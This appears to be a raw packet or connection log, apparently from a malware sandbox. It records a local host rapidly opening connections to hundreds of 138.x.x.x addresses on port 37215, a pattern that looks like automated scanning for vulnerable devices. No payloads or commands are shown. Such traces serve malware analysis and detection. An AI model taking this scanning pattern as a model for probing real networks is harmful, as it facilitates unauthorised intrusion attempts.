Feb 20, 2022 15:51:02.831950903 CET	1386	37215	192.168.2.23	138.142.118.13
Feb 20, 2022 15:51:02.831995964 CET	1898	37215	192.168.2.23	138.49.39.14
Feb 20, 2022 15:51:02.831996918 CET	1898	37215	192.168.2.23	138.59.212.79
Feb 20, 2022 15:51:02.832031965 CET	1386	37215	192.168.2.23	138.234.33.47
Feb 20, 2022 15:51:02.832042933 CET	1898	37215	192.168.2.23	138.14.220.34
Feb 20, 2022 15:51:02.832062006 CET	1898	37215	192.168.2.23	138.45.249.240
Feb 20, 2022 15:51:02.832082033 CET	1386	37215	192.168.2.23	138.250.1.216
Feb 20, 2022 15:51:02.832103014 CET	1898	37215	192.168.2.23	138.70.138.72
Feb 20, 2022 15:51:02.832118988 CET	1898	37215	192.168.2.23	138.71.100.3
Feb 20, 2022 15:51:02.832127094 CET	1898	37215	192.168.2.23	138.103.17.27
Feb 20, 2022 15:51:02.832130909 CET	1898	37215	192.168.2.23	138.92.52.189
Feb 20, 2022 15:51:02.832153082 CET	1386	37215	192.168.2.23	138.162.196.58
Feb 20, 2022 15:51:02.832176924 CET	1898	37215	192.168.2.23	138.43.6.155
Feb 20, 2022 15:51:02.832180023 CET	1898	37215	192.168.2.23	138.26.59.228
Feb 20, 2022 15:51:02.832207918 CET	1898	37215	192.168.2.23	138.61.45.67
Feb 20, 2022 15:51:02.832237959 CET	1898	37215	192.168.2.23	138.140.163.17
Feb 20, 2022 15:51:02.832267046 CET	1898	37215	192.168.2.23	138.106.128.151
Feb 20, 2022 15:51:02.832268953 CET	1386	37215	192.168.2.23	138.119.27.110
Feb 20, 2022 15:51:02.832278013 CET	1898	37215	192.168.2.23	138.199.175.191
Feb 20, 2022 15:51:02.832310915 CET	1386	37215	192.168.2.23	138.145.227.254
Feb 20, 2022 15:51:02.832350969 CET	1898	37215	192.168.2.23	138.61.105.244
Feb 20, 2022 15:51:02.832351923 CET	1898	37215	192.168.2.23	138.104.80.25
Feb 20, 2022 15:51:02.832369089 CET	1898	37215	192.168.2.23	138.92.214.164
Feb 20, 2022 15:51:02.832380056 CET	1386	37215	192.168.2.23	138.167.101.48
Feb 20, 2022 15:51:02.832389116 CET	1898	37215	192.168.2.23	138.81.183.31
Feb 20, 2022 15:51:02.832423925 CET	1898	37215	192.168.2.23	138.151.219.25
Feb 20, 2022 15:51:02.832443953 CET	1898	37215	192.168.2.23	138.2.86.93
Feb 20, 2022 15:51:02.832444906 CET	1386	37215	192.168.2.23	138.102.126.108
Feb 20, 2022 15:51:02.832458973 CET	1898	37215	192.168.2.23	138.98.158.244
Feb 20, 2022 15:51:02.832464933 CET	1898	37215	192.168.2.23	138.0.150.106
Feb 20, 2022 15:51:02.832492113 CET	1898	37215	192.168.2.23	138.107.217.44
Feb 20, 2022 15:51:02.832505941 CET	1898	37215	192.168.2.23	138.173.134.217
Feb 20, 2022 15:51:02.832539082 CET	1386	37215	192.168.2.23	138.123.141.77
Feb 20, 2022 15:51:02.832568884 CET	1898	37215	192.168.2.23	138.241.79.176
Feb 20, 2022 15:51:02.832570076 CET	1386	37215	192.168.2.23	138.53.179.232
Feb 20, 2022 15:51:02.832585096 CET	1898	37215	192.168.2.23	138.93.14.9
Feb 20, 2022 15:51:02.832591057 CET	1898	37215	192.168.2.23	138.120.56.38
Feb 20, 2022 15:51:02.832606077 CET	1898	37215	192.168.2.23	138.173.164.181
Feb 20, 2022 15:51:02.832609892 CET	1898	37215	192.168.2.23	138.151.252.226
Feb 20, 2022 15:51:02.832633018 CET	1898	37215	192.168.2.23	138.64.104.34
Feb 20, 2022 15:51:02.832655907 CET	1898	37215	192.168.2.23	138.177.149.35
Feb 20, 2022 15:51:02.832679987 CET	1386	37215	192.168.2.23	138.229.44.224
Feb 20, 2022 15:51:02.832686901 CET	1898	37215	192.168.2.23	138.119.197.16
Feb 20, 2022 15:51:02.832695007 CET	1898	37215	192.168.2.23	138.89.84.103
Feb 20, 2022 15:51:02.832727909 CET	1386	37215	192.168.2.23	138.71.95.203
Feb 20, 2022 15:51:02.832729101 CET	1898	37215	192.168.2.23	138.131.207.75
Feb 20, 2022 15:51:02.832777023 CET	1386	37215	192.168.2.23	138.24.166.92
Feb 20, 2022 15:51:02.832782984 CET	1898	37215	192.168.2.23	138.100.168.84
Feb 20, 2022 15:51:02.832783937 CET	1898	37215	192.168.2.23	138.19.173.105
Feb 20, 2022 15:51:02.832806110 CET	1898	37215	192.168.2.23	138.83.135.69
Feb 20, 2022 15:51:02.832813978 CET	1898	37215	192.168.2.23	138.95.195.120
Feb 20, 2022 15:51:02.832823038 CET	1898	37215	192.168.2.23	138.72.227.199
Feb 20, 2022 15:51:02.832828999 CET	1386	37215	192.168.2.23	138.8.231.110
Feb 20, 2022 15:51:02.832849026 CET	1898	37215	192.168.2.23	138.20.131.102
Feb 20, 2022 15:51:02.832907915 CET	1898	37215	192.168.2.23	138.168.161.231
Feb 20, 2022 15:51:02.832922935 CET	1898	37215	192.168.2.23	138.66.172.202
Feb 20, 2022 15:51:02.832937002 CET	1386	37215	192.168.2.23	138.169.232.236
Feb 20, 2022 15:51:02.832937956 CET	1898	37215	192.168.2.23	138.119.71.103
Feb 20, 2022 15:51:02.832942963 CET	1898	37215	192.168.2.23	138.128.71.158
Feb 20, 2022 15:51:02.832946062 CET	1386	37215	192.168.2.23	138.30.35.105
Feb 20, 2022 15:51:02.832957029 CET	1898	37215	192.168.2.23	138.118.122.221
Feb 20, 2022 15:51:02.832997084 CET	1898	37215	192.168.2.23	138.237.65.112
Feb 20, 2022 15:51:02.833000898 CET	1898	37215	192.168.2.23	138.212.157.93
Feb 20, 2022 15:51:02.833003998 CET	1386	37215	192.168.2.23	138.50.166.92
Feb 20, 2022 15:51:02.833036900 CET	1898	37215	192.168.2.23	138.231.78.34
Feb 20, 2022 15:51:02.833038092 CET	1898	37215	192.168.2.23	138.233.81.62
Feb 20, 2022 15:51:02.833055019 CET	1898	37215	192.168.2.23	138.116.247.227
Feb 20, 2022 15:51:02.833093882 CET	1386	37215	192.168.2.23	138.187.75.149
Feb 20, 2022 15:51:02.833111048 CET	1898	37215	192.168.2.23	138.45.233.210
Feb 20, 2022 15:51:02.833118916 CET	1898	37215	192.168.2.23	138.40.214.128
Feb 20, 2022 15:51:02.833132982 CET	1898	37215	192.168.2.23	138.200.41.186
Feb 20, 2022 15:51:02.833282948 CET	1386	37215	192.168.2.23	138.238.91.118
Feb 20, 2022 15:51:02.833345890 CET	1898	37215	192.168.2.23	138.132.98.15
Feb 20, 2022 15:51:02.833359957 CET	1386	37215	192.168.2.23	138.60.82.49
Feb 20, 2022 15:51:02.833513021 CET	1386	37215	192.168.2.23	138.230.181.24
Feb 20, 2022 15:51:02.833513975 CET	1386	37215	192.168.2.23	138.201.176.131
Feb 20, 2022 15:51:02.833535910 CET	1386	37215	192.168.2.23	138.243.134.190
Feb 20, 2022 15:51:02.833570004 CET	1386	37215	192.168.2.23	138.85.129.19
Feb 20, 2022 15:51:02.833630085 CET	1386	37215	192.168.2.23	138.124.158.50
Feb 20, 2022 15:51:02.833683968 CET	1386	37215	192.168.2.23	138.30.151.196
Feb 20, 2022 15:51:02.833740950 CET	1386	37215	192.168.2.23	138.100.91.197
Feb 20, 2022 15:51:02.833803892 CET	1386	37215	192.168.2.23	138.63.206.120
Feb 20, 2022 15:51:02.833914042 CET	1386	37215	192.168.2.23	138.28.239.240
Feb 20, 2022 15:51:02.833920956 CET	1386	37215	192.168.2.23	138.158.223.78
Feb 20, 2022 15:51:02.834041119 CET	1386	37215	192.168.2.23	138.192.169.6
Feb 20, 2022 15:51:02.834042072 CET	1386	37215	192.168.2.23	138.101.151.236
Feb 20, 2022 15:51:02.834112883 CET	1386	37215	192.168.2.23	138.255.57.106
Feb 20, 2022 15:51:02.834156036 CET	1386	37215	192.168.2.23	138.132.24.229
Feb 20, 2022 15:51:02.834216118 CET	1386	37215	192.168.2.23	138.153.79.220
Feb 20, 2022 15:51:02.834287882 CET	1386	37215	192.168.2.23	138.49.206.189
Feb 20, 2022 15:51:02.834348917 CET	1386	37215	192.168.2.23	138.14.224.9
Feb 20, 2022 15:51:02.834405899 CET	1386	37215	192.168.2.23	138.56.45.233
Feb 20, 2022 15:51:02.834506989 CET	1386	37215	192.168.2.23	138.34.134.209
Feb 20, 2022 15:51:02.834511995 CET	1386	37215	192.168.2.23	138.123.143.89
Feb 20, 2022 15:51:02.834614992 CET	1386	37215	192.168.2.23	138.233.186.14
Feb 20, 2022 15:51:02.834630013 CET	1386	37215	192.168.2.23	138.156.65.246
Feb 20, 2022 15:51:02.834683895 CET	1386	37215	192.168.2.23	138.153.48.113
Feb 20, 2022 15:51:02.834753990 CET	1386	37215	192.168.2.23	138.232.228.23
Feb 20, 2022 15:51:02.834841013 CET	1386	37215	192.168.2.23	138.255.57.141
Feb 20, 2022 15:51:02.834918022 CET	1386	37215	192.168.2.23	138.254.128.143
Feb 20, 2022 15:51:02.834939957 CET	1386	37215	192.168.2.23	138.53.39.46
Feb 20, 2022 15:51:02.835033894 CET	1386	37215	192.168.2.23	138.27.250.247
Feb 20, 2022 15:51:02.835149050 CET	1386	37215	192.168.2.23	138.118.137.102
Feb 20, 2022 15:51:02.835184097 CET	1386	37215	192.168.2.23	138.78.185.131
Feb 20, 2022 15:51:02.835185051 CET	1386	37215	192.168.2.23	138.148.114.143
Feb 20, 2022 15:51:02.835217953 CET	1386	37215	192.168.2.23	138.27.248.47
Feb 20, 2022 15:51:02.835304976 CET	1386	37215	192.168.2.23	138.254.186.45
Feb 20, 2022 15:51:02.835380077 CET	1386	37215	192.168.2.23	138.226.130.215
Feb 20, 2022 15:51:02.835381985 CET	1386	37215	192.168.2.23	138.217.34.85
Feb 20, 2022 15:51:02.835448027 CET	1386	37215	192.168.2.23	138.68.185.76
Feb 20, 2022 15:51:02.835517883 CET	1386	37215	192.168.2.23	138.39.60.12
Feb 20, 2022 15:51:02.835597992 CET	1386	37215	192.168.2.23	138.241.142.19
Feb 20, 2022 15:51:02.835650921 CET	1386	37215	192.168.2.23	138.193.196.111
Feb 20, 2022 15:51:02.835700989 CET	1386	37215	192.168.2.23	138.197.156.15
Feb 20, 2022 15:51:02.835769892 CET	1386	37215	192.168.2.23	138.173.202.143
Feb 20, 2022 15:51:02.835824013 CET	1386	37215	192.168.2.23	138.134.143.248
Feb 20, 2022 15:51:02.835897923 CET	1386	37215	192.168.2.23	138.233.131.153
Feb 20, 2022 15:51:02.835922956 CET	1386	37215	192.168.2.23	138.185.3.146
Feb 20, 2022 15:51:02.835978031 CET	1386	37215	192.168.2.23	138.77.95.190
Feb 20, 2022 15:51:02.836100101 CET	1386	37215	192.168.2.23	138.145.238.18
Feb 20, 2022 15:51:02.836100101 CET	1386	37215	192.168.2.23	138.130.163.228
Feb 20, 2022 15:51:02.836211920 CET	1386	37215	192.168.2.23	138.16.144.103
Feb 20, 2022 15:51:02.836236954 CET	1386	37215	192.168.2.23	138.92.248.148
Feb 20, 2022 15:51:02.836271048 CET	1386	37215	192.168.2.23	138.9.218.246
Feb 20, 2022 15:51:02.836349964 CET	1386	37215	192.168.2.23	138.104.6.180
Feb 20, 2022 15:51:02.836410999 CET	1386	37215	192.168.2.23	138.138.238.158
Feb 20, 2022 15:51:02.836488962 CET	1386	37215	192.168.2.23	138.114.213.252
Feb 20, 2022 15:51:02.836489916 CET	1386	37215	192.168.2.23	138.51.131.122
Feb 20, 2022 15:51:02.836528063 CET	1386	37215	192.168.2.23	138.84.239.184
Feb 20, 2022 15:51:02.836560965 CET	1386	37215	192.168.2.23	138.112.167.117
Feb 20, 2022 15:51:02.836571932 CET	1386	37215	192.168.2.23	138.148.132.240
Feb 20, 2022 15:51:02.836608887 CET	1386	37215	192.168.2.23	138.39.99.134
Feb 20, 2022 15:51:02.836627960 CET	1386	37215	192.168.2.23	138.160.227.24
Feb 20, 2022 15:51:02.836651087 CET	1386	37215	192.168.2.23	138.73.125.58
Feb 20, 2022 15:51:02.836680889 CET	1386	37215	192.168.2.23	138.16.93.142
Feb 20, 2022 15:51:02.836708069 CET	1386	37215	192.168.2.23	138.141.231.255
Feb 20, 2022 15:51:02.836710930 CET	1386	37215	192.168.2.23	138.78.225.9
Feb 20, 2022 15:51:02.836750031 CET	1386	37215	192.168.2.23	138.4.3.241
Feb 20, 2022 15:51:02.836755991 CET	1386	37215	192.168.2.23	138.199.230.39
Feb 20, 2022 15:51:02.836800098 CET	1386	37215	192.168.2.23	138.8.166.254
Feb 20, 2022 15:51:02.836803913 CET	1386	37215	192.168.2.23	138.154.41.77
Feb 20, 2022 15:51:02.836827993 CET	1386	37215	192.168.2.23	138.189.18.184
Feb 20, 2022 15:51:02.836853981 CET	1386	37215	192.168.2.23	138.28.79.39
Feb 20, 2022 15:51:02.836877108 CET	1386	37215	192.168.2.23	138.53.80.192
Feb 20, 2022 15:51:02.836905956 CET	1386	37215	192.168.2.23	138.70.40.66
Feb 20, 2022 15:51:02.836921930 CET	1386	37215	192.168.2.23	138.78.56.242
Feb 20, 2022 15:51:02.836971998 CET	1386	37215	192.168.2.23	138.187.151.59
Feb 20, 2022 15:51:02.836973906 CET	1386	37215	192.168.2.23	138.43.123.163
Feb 20, 2022 15:51:02.836997986 CET	1386	37215	192.168.2.23	138.20.232.102
Feb 20, 2022 15:51:02.837044001 CET	1386	37215	192.168.2.23	138.52.68.82
Feb 20, 2022 15:51:02.837057114 CET	1386	37215	192.168.2.23	138.135.65.169
Feb 20, 2022 15:51:02.837074041 CET	1386	37215	192.168.2.23	138.155.253.212
Feb 20, 2022 15:51:02.837099075 CET	1386	37215	192.168.2.23	138.191.83.128
Feb 20, 2022 15:51:02.837148905 CET	1386	37215	192.168.2.23	138.97.32.62
Feb 20, 2022 15:51:02.837157011 CET	1386	37215	192.168.2.23	138.30.8.221
Feb 20, 2022 15:51:02.837169886 CET	1386	37215	192.168.2.23	138.30.57.251
Feb 20, 2022 15:51:02.837198019 CET	1386	37215	192.168.2.23	138.127.100.109
Feb 20, 2022 15:51:02.837224960 CET	1386	37215	192.168.2.23	138.40.101.233
Feb 20, 2022 15:51:02.837255001 CET	1386	37215	192.168.2.23	138.35.124.91
Feb 20, 2022 15:51:02.837268114 CET	1386	37215	192.168.2.23	138.15.193.170
Feb 20, 2022 15:51:02.837311983 CET	1386	37215	192.168.2.23	138.89.4.68
Feb 20, 2022 15:51:02.837346077 CET	1386	37215	192.168.2.23	138.73.155.255
Feb 20, 2022 15:51:02.837376118 CET	1386	37215	192.168.2.23	138.202.143.167
Feb 20, 2022 15:51:02.837376118 CET	1386	37215	192.168.2.23	138.216.202.162
Feb 20, 2022 15:51:02.837400913 CET	1386	37215	192.168.2.23	138.14.164.180
Feb 20, 2022 15:51:02.837438107 CET	1386	37215	192.168.2.23	138.74.29.186
Feb 20, 2022 15:51:02.837460995 CET	1386	37215	192.168.2.23	138.89.249.29
Feb 20, 2022 15:51:02.837476015 CET	1386	37215	192.168.2.23	138.239.91.207
Feb 20, 2022 15:51:02.837519884 CET	1386	37215	192.168.2.23	138.252.80.92
Feb 20, 2022 15:51:02.837523937 CET	1386	37215	192.168.2.23	138.86.80.231
Feb 20, 2022 15:51:02.837552071 CET	1386	37215	192.168.2.23	138.108.27.16
Feb 20, 2022 15:51:02.837574959 CET	1386	37215	192.168.2.23	138.38.54.160
Feb 20, 2022 15:51:02.837619066 CET	1386	37215	192.168.2.23	138.23.48.27
Feb 20, 2022 15:51:02.837624073 CET	1386	37215	192.168.2.23	138.81.202.66
Feb 20, 2022 15:51:02.837671995 CET	1386	37215	192.168.2.23	138.105.154.29
Feb 20, 2022 15:51:02.837677002 CET	1386	37215	192.168.2.23	138.253.119.177
Feb 20, 2022 15:51:02.837692976 CET	1386	37215	192.168.2.23	138.27.221.155
Feb 20, 2022 15:51:02.837738037 CET	1386	37215	192.168.2.23	138.104.141.52
Feb 20, 2022 15:51:02.837764978 CET	1386	37215	192.168.2.23	138.54.105.161
Feb 20, 2022 15:51:02.837776899 CET	1386	37215	192.168.2.23	138.254.244.41
Feb 20, 2022 15:51:02.837791920 CET	1386	37215	192.168.2.23	138.203.235.123
Feb 20, 2022 15:51:02.837836981 CET	1386	37215	192.168.2.23	138.114.23.83
Feb 20, 2022 15:51:02.837865114 CET	1386	37215	192.168.2.23	138.247.45.18
Feb 20, 2022 15:51:02.837898970 CET	1386	37215	192.168.2.23	138.127.157.139
Feb 20, 2022 15:51:02.837920904 CET	1386	37215	192.168.2.23	138.79.192.189
Feb 20, 2022 15:51:02.837923050 CET	37215	1898	138.40.53.235	192.168.2.23
Feb 20, 2022 15:51:02.837946892 CET	1386	37215	192.168.2.23	138.198.61.184
Feb 20, 2022 15:51:02.837969065 CET	1386	37215	192.168.2.23	138.197.205.12
Feb 20, 2022 15:51:02.837973118 CET	1386	37215	192.168.2.23	138.171.141.154
Feb 20, 2022 15:51:02.838002920 CET	1386	37215	192.168.2.23	138.111.11.218
Feb 20, 2022 15:51:02.838002920 CET	1898	37215	192.168.2.23	138.40.53.235
Feb 20, 2022 15:51:02.838047981 CET	1386	37215	192.168.2.23	138.32.40.7
Feb 20, 2022 15:51:02.838069916 CET	1386	37215	192.168.2.23	138.30.233.131
Feb 20, 2022 15:51:02.838079929 CET	1386	37215	192.168.2.23	138.94.47.219
Feb 20, 2022 15:51:02.838103056 CET	1386	37215	192.168.2.23	138.113.233.212
Feb 20, 2022 15:51:02.838129044 CET	1386	37215	192.168.2.23	138.163.8.181
Feb 20, 2022 15:51:02.838159084 CET	1386	37215	192.168.2.23	138.165.67.183
Feb 20, 2022 15:51:02.838177919 CET	1386	37215	192.168.2.23	138.199.54.247
Feb 20, 2022 15:51:02.838223934 CET	1386	37215	192.168.2.23	138.134.195.83
Feb 20, 2022 15:51:02.838231087 CET	1386	37215	192.168.2.23	138.141.140.186
Feb 20, 2022 15:51:02.838233948 CET	37215	1898	138.201.87.91	192.168.2.23
Feb 20, 2022 15:51:02.838248014 CET	1386	37215	192.168.2.23	138.169.67.223
Feb 20, 2022 15:51:02.838274956 CET	1386	37215	192.168.2.23	138.248.111.215
Feb 20, 2022 15:51:02.838308096 CET	1386	37215	192.168.2.23	138.228.149.209
Feb 20, 2022 15:51:02.838354111 CET	1386	37215	192.168.2.23	138.147.241.234
Feb 20, 2022 15:51:02.838366985 CET	1386	37215	192.168.2.23	138.222.71.96
Feb 20, 2022 15:51:02.838377953 CET	1386	37215	192.168.2.23	138.227.177.116
Feb 20, 2022 15:51:02.838398933 CET	1386	37215	192.168.2.23	138.101.115.124
Feb 20, 2022 15:51:02.838423014 CET	1386	37215	192.168.2.23	138.186.132.3
Feb 20, 2022 15:51:02.838479042 CET	1386	37215	192.168.2.23	138.106.28.13
Feb 20, 2022 15:51:02.838490963 CET	1386	37215	192.168.2.23	138.106.179.30
Feb 20, 2022 15:51:02.838501930 CET	1386	37215	192.168.2.23	138.111.144.14
Feb 20, 2022 15:51:02.838550091 CET	1386	37215	192.168.2.23	138.163.222.179
Feb 20, 2022 15:51:02.838553905 CET	1386	37215	192.168.2.23	138.143.16.69
Feb 20, 2022 15:51:02.838599920 CET	1386	37215	192.168.2.23	138.241.13.69
Feb 20, 2022 15:51:02.838603973 CET	1386	37215	192.168.2.23	138.204.58.213
Feb 20, 2022 15:51:02.838624001 CET	1386	37215	192.168.2.23	138.44.118.60
Feb 20, 2022 15:51:02.838669062 CET	1386	37215	192.168.2.23	138.57.41.141
Feb 20, 2022 15:51:02.838675976 CET	1386	37215	192.168.2.23	138.8.182.114
Feb 20, 2022 15:51:02.838717937 CET	1386	37215	192.168.2.23	138.228.72.26
Feb 20, 2022 15:51:02.838731050 CET	1386	37215	192.168.2.23	138.27.169.123
Feb 20, 2022 15:51:02.838748932 CET	1386	37215	192.168.2.23	138.67.249.134
Feb 20, 2022 15:51:02.838781118 CET	1386	37215	192.168.2.23	138.43.97.205
Feb 20, 2022 15:51:02.838819027 CET	1386	37215	192.168.2.23	138.156.213.55
Feb 20, 2022 15:51:02.838819981 CET	1386	37215	192.168.2.23	138.232.217.30
Feb 20, 2022 15:51:02.838836908 CET	1386	37215	192.168.2.23	138.139.25.50
Feb 20, 2022 15:51:02.838864088 CET	1386	37215	192.168.2.23	138.101.42.5
Feb 20, 2022 15:51:02.838892937 CET	1386	37215	192.168.2.23	138.47.220.137
Feb 20, 2022 15:51:02.838921070 CET	1386	37215	192.168.2.23	138.140.142.117
Feb 20, 2022 15:51:02.838933945 CET	1386	37215	192.168.2.23	138.225.146.117
Feb 20, 2022 15:51:02.838972092 CET	1386	37215	192.168.2.23	138.47.171.143
Feb 20, 2022 15:51:02.838984013 CET	1386	37215	192.168.2.23	138.12.175.157
Feb 20, 2022 15:51:02.839001894 CET	1386	37215	192.168.2.23	138.32.224.248
Feb 20, 2022 15:51:02.839061022 CET	1386	37215	192.168.2.23	138.201.42.14
Feb 20, 2022 15:51:02.839076042 CET	1386	37215	192.168.2.23	138.235.140.138
Feb 20, 2022 15:51:02.839102030 CET	1386	37215	192.168.2.23	138.250.84.160
Feb 20, 2022 15:51:02.839123964 CET	1386	37215	192.168.2.23	138.87.153.194
Feb 20, 2022 15:51:02.839126110 CET	1386	37215	192.168.2.23	138.165.14.206
Feb 20, 2022 15:51:02.839171886 CET	1386	37215	192.168.2.23	138.8.94.118
Feb 20, 2022 15:51:02.839196920 CET	1386	37215	192.168.2.23	138.160.223.95
Feb 20, 2022 15:51:02.839205980 CET	1386	37215	192.168.2.23	138.235.238.79
Feb 20, 2022 15:51:02.839227915 CET	1386	37215	192.168.2.23	138.235.116.61
Feb 20, 2022 15:51:02.839271069 CET	1386	37215	192.168.2.23	138.75.197.34
Feb 20, 2022 15:51:02.839299917 CET	1386	37215	192.168.2.23	138.115.80.125
Feb 20, 2022 15:51:02.839310884 CET	1386	37215	192.168.2.23	138.128.43.68
Feb 20, 2022 15:51:02.839354038 CET	1386	37215	192.168.2.23	138.0.42.31
Feb 20, 2022 15:51:02.839358091 CET	1386	37215	192.168.2.23	138.114.246.87
Feb 20, 2022 15:51:02.839386940 CET	1386	37215	192.168.2.23	138.139.180.167
Feb 20, 2022 15:51:02.839431047 CET	1386	37215	192.168.2.23	138.164.207.251
Feb 20, 2022 15:51:02.839445114 CET	1386	37215	192.168.2.23	138.242.97.141
Feb 20, 2022 15:51:02.839478016 CET	1386	37215	192.168.2.23	138.218.114.233
Feb 20, 2022 15:51:02.839478970 CET	1386	37215	192.168.2.23	138.89.89.50
Feb 20, 2022 15:51:02.839509964 CET	1386	37215	192.168.2.23	138.168.26.115
Feb 20, 2022 15:51:02.839524031 CET	1386	37215	192.168.2.23	138.154.13.190
Feb 20, 2022 15:51:02.839551926 CET	1386	37215	192.168.2.23	138.216.138.137
Feb 20, 2022 15:51:02.839576960 CET	1386	37215	192.168.2.23	138.89.68.46
Feb 20, 2022 15:51:02.839592934 CET	1386	37215	192.168.2.23	138.238.67.74
Feb 20, 2022 15:51:02.839624882 CET	1386	37215	192.168.2.23	138.229.164.242
Feb 20, 2022 15:51:02.839649916 CET	1386	37215	192.168.2.23	138.246.193.144
Feb 20, 2022 15:51:02.839678049 CET	1386	37215	192.168.2.23	138.10.159.139
Feb 20, 2022 15:51:02.839701891 CET	1386	37215	192.168.2.23	138.109.240.201
Feb 20, 2022 15:51:02.839723110 CET	1386	37215	192.168.2.23	138.160.38.213
Feb 20, 2022 15:51:02.839757919 CET	1386	37215	192.168.2.23	138.45.74.5
Feb 20, 2022 15:51:02.839787006 CET	37215	1898	138.201.95.52	192.168.2.23
Feb 20, 2022 15:51:02.839787960 CET	1386	37215	192.168.2.23	138.17.45.137
Feb 20, 2022 15:51:02.839804888 CET	1386	37215	192.168.2.23	138.38.134.72
Feb 20, 2022 15:51:02.839849949 CET	1386	37215	192.168.2.23	138.229.136.160
Feb 20, 2022 15:51:02.839863062 CET	1386	37215	192.168.2.23	138.126.63.75
Feb 20, 2022 15:51:02.839875937 CET	1386	37215	192.168.2.23	138.30.30.178
Feb 20, 2022 15:51:02.839912891 CET	1386	37215	192.168.2.23	138.59.231.174
Feb 20, 2022 15:51:02.839947939 CET	1386	37215	192.168.2.23	138.62.160.1
Feb 20, 2022 15:51:02.839952946 CET	1386	37215	192.168.2.23	138.9.199.80
Feb 20, 2022 15:51:02.839993000 CET	1386	37215	192.168.2.23	138.127.251.56
Feb 20, 2022 15:51:02.840002060 CET	1386	37215	192.168.2.23	138.186.179.233
Feb 20, 2022 15:51:02.840024948 CET	1386	37215	192.168.2.23	138.197.32.143
Feb 20, 2022 15:51:02.840049982 CET	1386	37215	192.168.2.23	138.99.171.31
Feb 20, 2022 15:51:02.840065956 CET	1386	37215	192.168.2.23	138.118.228.193
Feb 20, 2022 15:51:02.840099096 CET	1386	37215	192.168.2.23	138.65.31.32
Feb 20, 2022 15:51:02.840122938 CET	1386	37215	192.168.2.23	138.98.127.163
Feb 20, 2022 15:51:02.840151072 CET	1386	37215	192.168.2.23	138.95.21.92
Feb 20, 2022 15:51:02.840186119 CET	1386	37215	192.168.2.23	138.193.226.38
Feb 20, 2022 15:51:02.840192080 CET	1386	37215	192.168.2.23	138.173.43.157
Feb 20, 2022 15:51:02.840236902 CET	1386	37215	192.168.2.23	138.117.233.95
Feb 20, 2022 15:51:02.840250015 CET	1386	37215	192.168.2.23	138.207.32.70
Feb 20, 2022 15:51:02.840279102 CET	1386	37215	192.168.2.23	138.53.106.182
Feb 20, 2022 15:51:02.840317011 CET	1386	37215	192.168.2.23	138.107.197.98
Feb 20, 2022 15:51:02.840348005 CET	1386	37215	192.168.2.23	138.16.108.97
Feb 20, 2022 15:51:02.840348959 CET	1386	37215	192.168.2.23	138.178.108.233
Feb 20, 2022 15:51:02.840377092 CET	1386	37215	192.168.2.23	138.181.118.128
Feb 20, 2022 15:51:02.840403080 CET	1386	37215	192.168.2.23	138.248.151.98
Feb 20, 2022 15:51:02.840446949 CET	1386	37215	192.168.2.23	138.82.144.9
Feb 20, 2022 15:51:02.840468884 CET	1386	37215	192.168.2.23	138.117.140.82
Feb 20, 2022 15:51:02.840493917 CET	1386	37215	192.168.2.23	138.52.208.113
Feb 20, 2022 15:51:02.840496063 CET	1386	37215	192.168.2.23	138.49.37.210
Feb 20, 2022 15:51:02.840553045 CET	1386	37215	192.168.2.23	138.241.5.246
Feb 20, 2022 15:51:02.840562105 CET	1386	37215	192.168.2.23	138.213.112.95
Feb 20, 2022 15:51:02.840574026 CET	1386	37215	192.168.2.23	138.243.84.1
Feb 20, 2022 15:51:02.840586901 CET	1386	37215	192.168.2.23	138.30.5.54
Feb 20, 2022 15:51:02.840620041 CET	1386	37215	192.168.2.23	138.205.222.219
Feb 20, 2022 15:51:02.840640068 CET	1386	37215	192.168.2.23	138.62.248.187
Feb 20, 2022 15:51:02.840663910 CET	1386	37215	192.168.2.23	138.18.196.73
Feb 20, 2022 15:51:02.840712070 CET	1386	37215	192.168.2.23	138.75.4.220
Feb 20, 2022 15:51:02.840756893 CET	1386	37215	192.168.2.23	138.43.3.171
Feb 20, 2022 15:51:02.840775967 CET	1386	37215	192.168.2.23	138.107.184.39
Feb 20, 2022 15:51:02.840785980 CET	1386	37215	192.168.2.23	138.210.254.130
Feb 20, 2022 15:51:02.840811968 CET	1386	37215	192.168.2.23	138.67.93.94
Feb 20, 2022 15:51:02.840811968 CET	1386	37215	192.168.2.23	138.58.19.46
Feb 20, 2022 15:51:02.840847015 CET	1386	37215	192.168.2.23	138.126.36.171
Feb 20, 2022 15:51:02.840884924 CET	1386	37215	192.168.2.23	138.83.153.119
Feb 20, 2022 15:51:02.840889931 CET	1386	37215	192.168.2.23	138.66.27.238
Feb 20, 2022 15:51:02.840934992 CET	1386	37215	192.168.2.23	138.19.103.253
Feb 20, 2022 15:51:02.840939999 CET	1386	37215	192.168.2.23	138.95.227.168
Feb 20, 2022 15:51:02.840965033 CET	1386	37215	192.168.2.23	138.54.210.249
Feb 20, 2022 15:51:02.840981007 CET	1386	37215	192.168.2.23	138.117.117.0
Feb 20, 2022 15:51:02.841010094 CET	1386	37215	192.168.2.23	138.146.129.7
Feb 20, 2022 15:51:02.841063976 CET	1386	37215	192.168.2.23	138.122.62.207
Feb 20, 2022 15:51:02.841067076 CET	1386	37215	192.168.2.23	138.254.64.210
Feb 20, 2022 15:51:02.841079950 CET	1386	37215	192.168.2.23	138.23.108.214
Feb 20, 2022 15:51:02.841106892 CET	1386	37215	192.168.2.23	138.198.241.45
Feb 20, 2022 15:51:02.841154099 CET	1386	37215	192.168.2.23	138.79.215.90
Feb 20, 2022 15:51:02.841181993 CET	1386	37215	192.168.2.23	138.96.223.218
Feb 20, 2022 15:51:02.841193914 CET	1386	37215	192.168.2.23	138.170.33.215
Feb 20, 2022 15:51:02.841217995 CET	1386	37215	192.168.2.23	138.164.247.93
Feb 20, 2022 15:51:02.841237068 CET	1386	37215	192.168.2.23	138.40.144.142
Feb 20, 2022 15:51:02.841258049 CET	1386	37215	192.168.2.23	138.237.127.28
Feb 20, 2022 15:51:02.841285944 CET	1386	37215	192.168.2.23	138.79.153.176
Feb 20, 2022 15:51:02.841308117 CET	1386	37215	192.168.2.23	138.42.20.203
Feb 20, 2022 15:51:02.841341019 CET	1386	37215	192.168.2.23	138.70.69.8
Feb 20, 2022 15:51:02.841387987 CET	1386	37215	192.168.2.23	138.179.246.236
Feb 20, 2022 15:51:02.841409922 CET	1386	37215	192.168.2.23	138.27.129.233
Feb 20, 2022 15:51:02.841415882 CET	1386	37215	192.168.2.23	138.40.202.91
Feb 20, 2022 15:51:02.841438055 CET	1386	37215	192.168.2.23	138.137.25.65
Feb 20, 2022 15:51:02.841453075 CET	1386	37215	192.168.2.23	138.30.164.72
